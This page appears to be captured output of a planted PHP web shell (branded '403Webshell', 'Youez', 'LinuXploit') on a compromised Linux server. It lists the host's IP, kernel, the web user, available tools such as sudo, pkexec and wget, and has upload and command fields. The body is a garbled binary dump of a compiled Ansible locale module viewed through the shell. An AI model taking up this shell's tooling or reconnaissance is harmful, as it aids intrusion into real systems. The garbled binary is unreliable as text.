403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/module_utils/common/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/module_utils/common/__pycache__/locale.cpython-311.pyc
�

���c	��2�ddlmZmZmZeZddlmZdd�ZdS)�)�absolute_import�division�print_function)�	to_nativeNFc�R�d}	|�d��}|std���g}|�gd�}|�|dg��\}}}|dkrK|r'|������}nDtd|�d	t|�������td
|�d	t|�������|r
|D]
}	|	|vr|	}n�n?#t$r2}
|r�|�dt|
��z��Yd}
~
nd}
~
wwxYw|�d|z��|S)
aR
        Attempts to return the best possible locale for parsing output in English
        useful for scraping output with i18n tools. When this raises an exception
        and the caller wants to continue, it should use the 'C' locale.

        :param module: an AnsibleModule instance
        :param preferences: A list of preferred locales, in order of preference
        :param raise_on_locale: boolean that determines if we raise exception or not
                                due to locale CLI issues
        :returns: The first matched preferred locale or 'C' which is the default
    �C�localezCould not find 'locale' toolN)zC.utf8zC.UTF-8z
en_US.utf8zen_US.UTF-8r�POSIXz-arzNo output from locale, rc=z: z%Unable to get locale information, rc=z$Failed to get locale information: %szMatched preferred locale to: %s)�get_bin_path�RuntimeWarning�run_command�strip�
splitlinesr�debug)�module�preferences�raise_on_locale�foundr	�	available�rc�out�err�pref�es           �G/usr/lib/python3.11/site-packages/ansible/module_utils/common/locale.py�get_best_parsable_localer
s���
�E�!P��$�$�X�.�.���	A� �!?�@�@�@��	���[�Z�Z�K��)�)�6�4�.�9�9���C��
��7�7��
`��I�I�K�K�2�2�4�4�	�	�$�n�2�2�2�y�Y\�~�~�~�%^�_�_�_� �.�RT�RT�RT�V_�`c�Vd�Vd�Vd�!e�f�f�f��	�#�
�
���9�$�$� �E��E�%����P�P�P��	P���L�L�?�)�A�,�,�N�O�O�O�O�O�O�O�O�����	P�����L�L�2�U�:�;�;�;��Ls�CC�
D�(D�D)NF)	�
__future__rrr�type�
__metaclass__�ansible.module_utils._textrr��r�<module>r#s[��A�@�@�@�@�@�@�@�@�@��
�0�0�0�0�0�0�3�3�3�3�3�3r"

Youez - 2016 - github.com/yon3zu
LinuXploit